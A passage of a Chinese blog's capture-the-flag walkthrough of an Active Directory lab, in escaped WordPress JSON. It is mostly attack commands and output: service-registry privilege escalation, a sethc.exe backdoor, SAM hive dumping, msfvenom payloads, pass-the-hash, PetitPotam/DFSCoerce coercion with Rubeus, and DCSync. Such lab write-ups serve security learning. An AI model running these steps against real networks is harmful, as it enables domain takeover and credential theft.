proxychains4 rdesktop 172.22.4.45 -u Adrian -p 'babygirl1' -r disk:share=\/root\/Desktop\/simho<\/code><\/pre>\n![\"delegation_6\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_6.png\")
<\/p>\n
\u767b\u5f55\u540e\u684c\u9762\u6709\u4e2aPrivescCheck\u6587\u4ef6\u5939\uff0c\u5728github\u4e0a\u770b\u662f\u4e00\u4e2a\u672c\u5730\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\u626b\u63cf\u5de5\u5177\uff0c\u76f4\u63a5\u7ed9\u4e86\u626b\u63cf\u7ed3\u679c<\/p>\n
![\"delegation_7\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_7.png\")
<\/p>\n
gpupdate\u670d\u52a1\u6ce8\u518c\u8868\u63d0\u6743<\/h4>\n
\u770b\u5230\u7528\u6237\u5bf9gupdate\u670d\u52a1\u7684\u6ce8\u518c\u8868\u6709\u5199\u5165\u6743\u9650<\/p>\n
![\"delegation_8\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_8.png\")
<\/p>\n
\u5728 Windows \u7cfb\u7edf\u4e2d\uff0cgupdate \u901a\u5e38\u4e0e Google Update \u670d\u52a1\u76f8\u5173\u8054\uff0c\u5b83\u662f Google \u63d0\u4f9b\u7684\u4e00\u79cd\u540e\u53f0\u66f4\u65b0\u673a\u5236\uff0c\u4e3b\u8981\u7528\u4e8e\u81ea\u52a8\u68c0\u67e5\u548c\u5b89\u88c5 Google \u8f6f\u4ef6\uff08\u5982 Chrome \u6d4f\u89c8\u5668\u548c Google Earth\uff09\u7684\u66f4\u65b0<\/code><\/pre>\n\u4fee\u6539\u6ce8\u518c\u8868<\/p>\n
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\gupdate" \/t REG_EXPAND_SZ \/v ImagePath \/d "C:\\Users\\Adrian\\Desktop\\tcp77.exe" \/f\nreg query "HKLM\\SYSTEM\\CurrentControlSet\\Services\\gupdate" \/v ImagePath<\/code><\/pre>\n\u6216\u8005regedit<\/code>\u6253\u5f00\u6ce8\u518c\u8868\uff0c\u5728\u4e0b\u9762\u8def\u5f84\u76f4\u63a5\u4fee\u6539ImagePath<\/p>\n\u8ba1\u7b97\u673a\\HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\gupdate<\/code><\/pre>\n![\"delegation_9\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_9.png\")
<\/p>\n
\u5728cmd\u542f\u52a8gupdate\u670d\u52a1<\/p>\n
sc start gupdate<\/code><\/pre>\n\u4e00\u5f00\u59cb\u662f\u5728vshell\u751f\u6210\u6b63\u5411\u9a6c\uff0c\u4f20\u5230\u76ee\u6807\u673a\u5668\u4e4b\u540e\u6b63\u5411\u8fde\u63a5<\/p>\n
![\"delegation_10\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_10.png\")
<\/p>\n
![\"delegation_11\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_11.png\")
<\/p>\n
\u4f46\u662f\u8fc7\u534a\u5206\u949f\u5de6\u53f3\u5c31\u4f1a\u56e0\u4e3a\u670d\u52a1\u6ca1\u6709\u54cd\u5e94\u542f\u52a8\u800c\u6389\u7ebf\uff0cvshell\u4e5f\u6ca1\u6709\u8fdb\u7a0b\u8fc1\u79fb\u529f\u80fd<\/p>\n
![\"delegation_12\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_12.png\")
<\/p>\n
\u56e0\u6b64\u5b66\u5176\u5b83\u5e08\u5085\u5148\u5236\u4f5c\u4e00\u4e2a.bat\u6587\u4ef6\uff0c\u5c06sam\u6587\u4ef6\u5bfc\u5230\u684c\u9762<\/p>\n
reg save hklm\\system C:\\Users\\Adrian\\Desktop\\system\nreg save hklm\\sam C:\\Users\\Adrian\\Desktop\\sam\nreg save hklm\\security C:\\Users\\Adrian\\Desktop\\security<\/code><\/pre>\n\u7136\u540e\u518dmsf\u751f\u6210\u4e00\u4e2aexe\uff0c\u7528\u6765\u6267\u884c\u8fd9\u4e2abat\u6587\u4ef6\uff0c\u518d\u4fee\u6539\u6ce8\u518c\u8868\u6267\u884c<\/p>\n
msfvenom -p windows\/x64\/exec cmd='C:\\windows\\system32\\cmd.exe \/c C:\\users\\Adrian\\Desktop\\sam.bat ' --platform windows -f exe-service > a.exe<\/code><\/pre>\n\u4e0d\u8fc7\u6211\u8fd9\u91cc\u662f\u5229\u7528vshell\u4e0a\u7ebf\u7684\u5341\u51e0\u79d2\u65f6\u95f4\u5feb\u901f\u6267\u884c\u8fd9\u4e2abat\u6587\u4ef6<\/p>\n
C:\\windows\\system32\\cmd.exe \/c C:\\users\\Adrian\\Desktop\\pass.bat<\/code><\/pre>\n![\"delegation_13\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_13.png\")
<\/p>\n
\u6216\u8005\u76f4\u63a5\u6253\u6ce8\u518c\u8868\u63d0\u6743<\/p>\n
a.bat<\/p>\n
REG ADD "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" \/v Debugger \/t REG_SZ \/d "C:\\windows\\system32\\cmd.exe"<\/code><\/pre>\nmsfvenom -p windows\/x64\/exec cmd="C:\\windows\\system32\\cmd.exe \/c C:\\Users\\Adrian\\Desktop\\a.bat" --platform windows -f exe-service > simho.exe<\/code><\/pre>\n\u9501\u5b9a\u6309\u4e94\u6b21shift\u63d0\u6743\u4e3asystem\u4e4b\u540e\u6dfb\u52a0\u7ba1\u7406\u5458\u8d26\u6237<\/p>\n
\u83b7\u53d6ntlm hash<\/h4>\n\u7528mimikatz<\/h5>\n
\u8fd9\u91cc\u7528mimikatz\u5206\u6790SAM\u8ddfSYSTEM\u53ea\u80fd\u62ff\u5230administrator\u7684ntlm hash<\/p>\n
![\"delegation_14\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_14.png\")
<\/p>\n
\u7528secretsdump<\/h5>\n
\u7528secretsdump.py\u8fd8\u53ef\u4ee5\u5bfc\u51fa$MACHINE.ACC<\/code>\u7684<\/p>\nsecretsdump.py LOCAL -system system -sam sam -security security<\/code><\/pre>\n\u5728Windows\u57df\u73af\u5883\u4e2d\uff0c$MACHINE.ACC \u5e76\u4e0d\u662f\u4e00\u4e2a\u5177\u4f53\u7684\u7528\u6237\u8d26\u6237\uff0c\u800c\u662f\u4e0e \u673a\u5668\u8d26\u6237\uff08Machine Account\uff09 \u76f8\u5173\u7684\u4e00\u4e2a\u6982\u5ff5\u3002\u6bcf\u53f0\u52a0\u5165\u57df\u7684\u8ba1\u7b97\u673a\u90fd\u4f1a\u5728\u6d3b\u52a8\u76ee\u5f55\uff08Active Directory, AD\uff09\u4e2d\u6ce8\u518c\u4e00\u4e2a\u5bf9\u5e94\u7684\u673a\u5668\u8d26\u6237\u3002\u8fd9\u4e9b\u8d26\u6237\u901a\u5e38\u4ee5\u8ba1\u7b97\u673a\u540d\u79f0\u547d\u540d\uff0c\u5e76\u4ee5 $ \u7b26\u53f7\u7ed3\u5c3e\u3002\u4f8b\u5982\uff0c\u4e00\u53f0\u540d\u4e3a WORKSTATION01 \u7684\u8ba1\u7b97\u673a\uff0c\u5176\u673a\u5668\u8d26\u6237\u5728\u57df\u4e2d\u4f1a\u663e\u793a\u4e3a WORKSTATION01$\u3002<\/code><\/pre>\n\u56e0\u6b64\u8fd9\u91cc\u7684$MACHINE.ACC<\/code>\u5e94\u8be5\u5c31\u662fWIN19$<\/code>\u673a\u5668\u8d26\u6237\u7684hash<\/p>\n![\"delegation_15\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_15.png\")
<\/p>\n
Administrator: aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab\n$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:7b0c9947eed865c0575783d48d3f44c4<\/code><\/pre>\n\u7528msf<\/h5>\n
\u5982\u679c\u524d\u9762\u62ffmsf\u4e0a\u7ebf\uff0c\u7528load kiwi + creds_all\u4e5f\u53ef\u4ee5\u83b7\u53d6WIN19$<\/code>\u673a\u5668\u7528\u6237\u7684hash\uff1b\u6216\u8005\u524d\u9762\u52a0\u7ba1\u7406\u5458\u7528\u6237\u540e\uff0crdp\u4e0a\u53bb\u7528mimikatz\u7684sekurlsa::logonpasswords<\/code>\u4e5f\u53ef\u4ee5\u83b7\u53d6\uff0ccreds_all<\/code>\u662fsekurlsa::logonpasswords<\/code>\u7b49\u547d\u4ee4\u7684\u5c01\u88c5<\/p>\n\u4f46\u662f\u4f1a\u53d1\u73b0\u6709\u4e24\u4e2aWIN19$<\/code>\u8d26\u6237\uff0c\u6700\u53ef\u80fd\u7684\u539f\u56e0\u662fWindows \u673a\u5668\u8d26\u6237\uff08WIN19$<\/code>\uff09\u4f1a\u5b9a\u671f\u81ea\u52a8\u66f4\u6539\u5bc6\u7801\uff08\u6d4b\u8bd5\u53d1\u73b0\u5927\u6982\u5728\u9776\u573a\u5f00\u542f\u4e8c\u5341\u591a\u5206\u949f\u540e\u4f1a\u66f4\u65b0\u5bc6\u7801\uff09\uff0c\u5e76\u4e14\u7cfb\u7edf\u4f1a\u540c\u65f6\u4fdd\u7559\u65b0\u65e7\u4e24\u4e2a\u5bc6\u7801\u54c8\u5e0c\uff0c\u4ee5\u4fdd\u8bc1\u517c\u5bb9\u6027<\/p>\n\u627e\u4e00\u4e9b\u5176\u4ed6\u5e08\u5085\u7684\u535a\u5ba2\u4e5f\u53ef\u4ee5\u53d1\u73b0\u5176\u4e2d5943c35371c96f19bda7b8e67d041727<\/code>\u8fd9\u4e2ahash\u662f\u56fa\u5b9a\u4e0d\u53d8\u7684\uff0c\u53e6\u4e00\u4e2aWIN19$<\/code>\u8d26\u6237\u7684hash\u6bcf\u4e2a\u9776\u573a\u90fd\u4e0d\u540c\uff0c\u56e0\u6b64\u4e0d\u540c\u7684\u90a3\u4e2a\u624d\u662f\u65b0\u7684hash\uff0c\u540e\u7eed\u54c8\u5e0c\u4f20\u9012\u6216\u8005\u67e5\u8be2\u59d4\u6d3e\u5173\u7cfb\u4e5f\u5e94\u8be5\u7528\u65b0\u7684\u53bb\u67e5<\/p>\nmeterpreter > creds_all\n[+] Running as SYSTEM\n[*] Retrieving all credentials\nUsername Domain NTLM SHA1\n-------- ------ ---- ----\nAdrian WIN19 e19ccf75ee54e06b06a5907af13cef42 9131834cf4378828626b1beccaa5dea2c46f9b63\nWIN19$ XIAORANG 2c05ad434d747b203a57565194891b38 a77f9e918a252e3ff4aec0f8ee06a60fc61cfac6\nWIN19$ XIAORANG 5943c35371c96f19bda7b8e67d041727 5a4dc280e89974fdec8cf1b2b76399d26f39b8f8<\/code><\/pre>\n\u54c8\u5e0c\u4f20\u9012\u62ff\u7b2c\u4e8c\u4e2aflag\uff0c\u987a\u4fbf\u6dfb\u52a0\u4e2a\u7ba1\u7406\u5458\u8d26\u53f7<\/p>\n
proxychains4 impacket-smbexec -hashes :ba21c629d9fd56aff10c3e826323e6ab administrator@172.22.4.45 -codec gbk<\/code><\/pre>\n![\"delegation_16\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_16.png\")
<\/p>\n
flag{7b21a2fe-4e68-446f-b707-1a6c680f3ed1}<\/code><\/pre>\nflag3 & flag4<\/h3>\n
\u7528WIN19$<\/code>\u7684hash\u67e5\u57df\u59d4\u6d3e\u5173\u7cfb\uff0c\u53d1\u73b0WIN19$<\/code>\u914d\u7f6e\u4e86\u975e\u7ea6\u675f\u6027\u59d4\u6d3e<\/p>\n$ proxychains4 python findDelegation.py xiaorang.lab\/"WIN19$" -hashes :2c05ad434d747b203a57565194891b38 -dc-ip 172.22.4.7\n\nAccountName AccountType DelegationType DelegationRightsTo\n----------- ----------- -------------- ------------------\nWIN19$ Computer Unconstrained N\/A<\/code><\/pre>\n\u6216\u8005\u7528WIN19$<\/code>\u7684hash\u901a\u8fc7bloodhound\u6536\u96c6\u57df\u4fe1\u606f\uff0c\u4e5f\u80fd\u770b\u5230WIN19$<\/code>\u914d\u7f6e\u4e86\u975e\u7ea6\u675f\u6027\u59d4\u6d3e<\/p>\nproxychains4 -q python3 bloodhound.py -u "WIN19$" --hashes aad3b435b51404eeaad3b435b51404ee:7b0c9947eed865c0575783d48d3f44c4 -d xiaorang.lab -dc DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip<\/code><\/pre>\n![\"delegation_17\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_17.png\")
<\/p>\n
![\"delegation_18\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_18.png\")
<\/p>\n
Rubeus + dfscoerce\u6253\u975e\u7ea6\u675f\u6027\u59d4\u6d3e\u653b\u51fb<\/h4>\n
\u7ba1\u7406\u5458\u6a21\u5f0f\u6267\u884crubeus\uff0c\u8ba9\u5176\u76d1\u63a7\u8eab\u4efd\u9a8c\u8bc1\u8bf7\u6c42\uff08interval\u53c2\u6570\u7528\u4e8e\u8bbe\u7f6e\u76d1\u63a7\u7684\u65f6\u95f4\u95f4\u9694\uff0c\u4ee5\u79d2\u4e3a\u5355\u4f4d\uff1bfilterusers\u7528\u4e8e\u6307\u5b9a\u6240\u9700\u8d26\u6237\uff09<\/p>\n
Rubeus.exe monitor \/interval:1 \/filteruser:DC01$<\/code><\/pre>\n\u7136\u540e\u7528DFSCoerce\u6216\u8005PetitPotam\u89e6\u53d1\u5f3a\u5236\u8ba4\u8bc1\uff0c\u5f3a\u5236DC01\u8bbf\u95ee\u673a\u5668win19\u53d1\u9001\u8eab\u4efd\u8ba4\u8bc1\u8bf7\u6c42\uff08\u8fd9\u91cc\u7684WIN19\u7528\u4e8e\u6784\u9020 SPN \uff0c\u4e0d\u53ef\u7528\u5bf9\u5e94ip\u4ee3\u66ff\uff09<\/p>\n
proxychains4 python dfscoerce.py -u win19$ -hashes :7b0c9947eed865c0575783d48d3f44c4 -d xiaorang.lab WIN19 172.22.4.7<\/code><\/pre>\nproxychains4 python3 PetitPotam.py -u 'WIN19$' -hashes :7b0c9947eed865c0575783d48d3f44c4 -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab DC01.xiaorang.lab<\/code><\/pre>\n![\"delegation_19\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_19.png\")
<\/p>\n
rubeus\u6536\u5230\u6765\u81eaDC01\u7684\u8ba4\u8bc1\u8bf7\u6c42\uff0c\u7ee7\u7eed\u4f7f\u7528rubeus\u5c06\u6355\u83b7\u7684TGT\u6ce8\u5165\u5185\u5b58<\/p>\n
Rubeus.exe ptt \/ticket:doI......HLkxBQg==<\/code><\/pre>\n![\"delegation_20\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_20.png\")
<\/p>\n
\u6b64\u65f6\u4fbf\u53ef\u4ee5\u8fdb\u884cDCSync\u653b\u51fb\uff0c\u7528 mimikatz \u5bfc\u51fa administrator \u7684ntlm hash<\/p>\n
![\"delegation_21\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_21.png\")
<\/p>\n
\u6216\u8005base64\u89e3\u7801\u4fdd\u5b58\u540e\u76f4\u63a5\u7528mimikatz\u53bbdump\u57df\u63a7hash<\/p>\n
echo 'doI......HLkxBQg==' | base64 -d > DC01.kirbi<\/code><\/pre>\nmimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync \/domain:xiaorang.lab \/user:administrator" "exit"<\/code><\/pre>\n\u63a5\u7740PTH\u62ff\u4e24\u53f0\u673a\u5668\u7684lfag<\/p>\n
proxychains4 impacket-smbexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab\/administrator@172.22.4.19 -codec gbk<\/code><\/pre>\n![\"delegation_22\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_22.png\")
<\/p>\n
flag{91de1800-9887-47da-ac30-d9f60362547e}<\/code><\/pre>\n![\"delegation_23\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_23.png\")
<\/p>\n
flag{2d9df94d-6971-42bb-ab3c-3ac264b802ba} <\/code><\/pre>\n<\/div>","protected":false},"excerpt":{"rendered":"
Delegation \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 CmsEasy7.7.5\u4efb\u610f\u6587\u4ef6\u5199\u5165(cve-2021-42643) di […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-889","post","type-post","status-publish","format-standard","hentry","category-pentesting"],"views":894,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/889","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=889"}],"version-history":[{"count":8,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/889\/revisions"}],"predecessor-version":[{"id":1158,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/889\/revisions\/1158"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=889"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=889"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=889"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"delegation_1\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_1.png\")
<\/p>\n![\"delegation_2\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_2.png\")
<\/p>\n![\"delegation_3\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_3.png\")
<\/p>\n![\"delegation_4\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_4.png\")
<\/p>\n![\"delegation_5\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/delegation_5.png\")
<\/p>\n